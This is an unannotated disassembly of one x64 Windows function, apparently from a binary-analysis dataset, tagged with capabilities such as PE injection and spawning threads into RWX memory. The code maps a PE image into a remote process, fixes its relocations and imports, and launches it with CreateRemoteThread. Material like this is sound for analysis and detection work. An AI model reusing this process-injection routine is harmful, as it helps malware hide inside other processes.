Function at 0x140002b50
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov r11, rsp
push rbx
push rsi
push rdi
push r15
sub rsp, 0x98
mov rax, qword [0x140046030]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [r11 - 0x28], r12
mov r12, r8
mov qword [r11 - 0x30], r13
mov r8d, edx
mov r13, rcx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8, qword [r13]
mov r9d, 0x3000
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r15, rax
movsxd rdx, dword [r8 + 0x3c]
mov r8d, dword [rdx + r8 + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, r13
mov qword [rsp + 0x40], rax
mov rdi, rax
call fcn.1400027f0
mov rdx, qword [r13]
mov r11, rdi
mov rbx, rax
movsxd rcx, dword [rdx + 0x3c]
sub r11, qword [rcx + rdx + 0x30]
je 0x140002c69
movsxd rcx, dword [rax + 0x3c]
cmp dword [rcx + rax + 0xb4], 0
je 0x140002c69
mov r9d, dword [rcx + rax + 0xb0]
add r9, rax
cmp dword [r9], 0
je 0x140002c69
mov edi, 0xf000
mov esi, 0xa000
nop dword [rax + rax]
mov ecx, dword [r9 + 4]
lea r8, [r9 + 8]
lea rax, [rcx - 8]
shr rax, 1
test eax, eax
je 0x140002c5e
mov r10d, eax
nop word [rax + rax]
movzx edx, word [r8]
movzx eax, dx
and ax, di
cmp ax, si
jne 0x140002c50
mov ecx, dword [r9]
and edx, 0xfff
lea rax, [rbx + rdx]
add qword [rcx + rax], r11
add r8, 2
sub r10, 1
jne 0x140002c30
mov ecx, dword [r9 + 4]
mov eax, ecx
add r9, rax
cmp dword [r9], 0
jne 0x140002c10
movsxd rax, dword [rbx + 0x3c]
mov qword [rsp + 0xd8], rbp
mov qword [rsp + 0x80], r14
cmp dword [rax + rbx + 0x94], 0
je 0x140002d07
mov r14d, dword [rax + rbx + 0x90]
add r14, rbx
mov eax, dword [r14 + 0xc]
test eax, eax
je 0x140002d07
nop
mov ecx, eax
add rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8d, dword [r14]
mov rbp, rax
mov edx, dword [r14 + 0x10]
lea rcx, [r8 + rbx]
test rcx, rcx
lea rsi, [rdx + rbx]
cmovne edx, r8d
mov rcx, qword [rdx + rbx]
lea rdi, [rdx + rbx]
test rcx, rcx
je 0x140002cfb
jns 0x140002cd8
movzx edx, cx
jmp 0x140002cdf
lea rdx, [rbx + 2]
add rdx, rcx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rdi, 8
mov qword [rsi], rax
add rsi, 8
mov rcx, qword [rdi]
test rcx, rcx
jne 0x140002cd1
mov eax, dword [r14 + 0x20]
add r14, 0x14
test eax, eax
jne 0x140002ca0
mov r8, rbx
mov rdx, r15
call fcn.1400029f0
xor esi, esi
test r12, r12
je 0x140002e53
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r9, 0xffffffffffffffff
inc r9
cmp byte [r12 + r9], sil
jne 0x140002d46
mov r8, r12
mov qword [rsp + 0x20], rsi
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x10
mov word [rsp + 0x60], 0xb848
mov rdx, rax
mov dword [rsp + 0x6a], 0xccccccc3
lea r8, [rsp + 0x60]
mov word [rsp + 0x6e], 0xcccc
mov rcx, r15
mov qword [rsp + 0x62], rdi
mov rbp, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx + 0x94], esi
je 0x140002e53
mov r14d, dword [rax + rbx + 0x90]
add r14, rbx
mov eax, dword [r14 + 0xc]
test eax, eax
je 0x140002e53
mov ecx, eax
add rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [r14]
mov ecx, dword [r14 + 0x10]
lea rax, [rdx + rbx]
test rax, rax
lea rdi, [rcx + rbx]
cmovne ecx, edx
mov rax, qword [rcx + rbx]
lea rsi, [rcx + rbx]
test rax, rax
je 0x140002e45
nop dword [rax]
lea rcx, [0x140040110]
test rax, rax
jns 0x140002e21
movzx edx, ax
jmp 0x140002e28
lea rdx, [rbx + 2]
add rdx, rax
call fcn.14002f180
test eax, eax
jne 0x140002e34
mov qword [rdi], rbp
mov rax, qword [rsi + 8]
add rsi, 8
add rdi, 8
test rax, rax
jne 0x140002e10
mov eax, dword [r14 + 0x20]
add r14, 0x14
test eax, eax
jne 0x140002de0
xor esi, esi
mov rcx, qword [r13]
mov r8, rbx
mov rbx, qword [rsp + 0x40]
mov rdx, rbx
mov qword [rsp + 0x20], rsi
movsxd rax, dword [rcx + 0x3c]
mov r9d, dword [rax + rcx + 0x50]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [r13]
mov r9d, 0x3000
mov r8d, 0x1000
mov dword [rsp + 0x20], 0x40
movsxd rax, dword [rcx + 0x3c]
mov edx, dword [rax + rcx + 0x28]
mov rcx, r15
add rdx, rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rdx
xor edx, edx
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x18
mov qword [rsp + 0x20], rsi
mov rdx, rax
lea r8, [rsp + 0x48]
mov rcx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x40
mov qword [rsp + 0x20], rsi
mov rdx, rax
lea r8, [0x1400029c0]
mov rcx, r15
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r9d, 0x18
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x48]
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rsp + 0x58], 0
mov r14, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
mov r12, qword [rsp + 0x90]
mov rbp, qword [rsp + 0xd8]
jne 0x140002fb4
nop dword [rax]
nop word [rax + rax]
mov r9d, 0x18
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x48]
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp qword [rsp + 0x58], 0
je 0x140002f90
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14000a910
add rsp, 0x98
pop r15
pop rdi
pop rsi
pop rbx
ret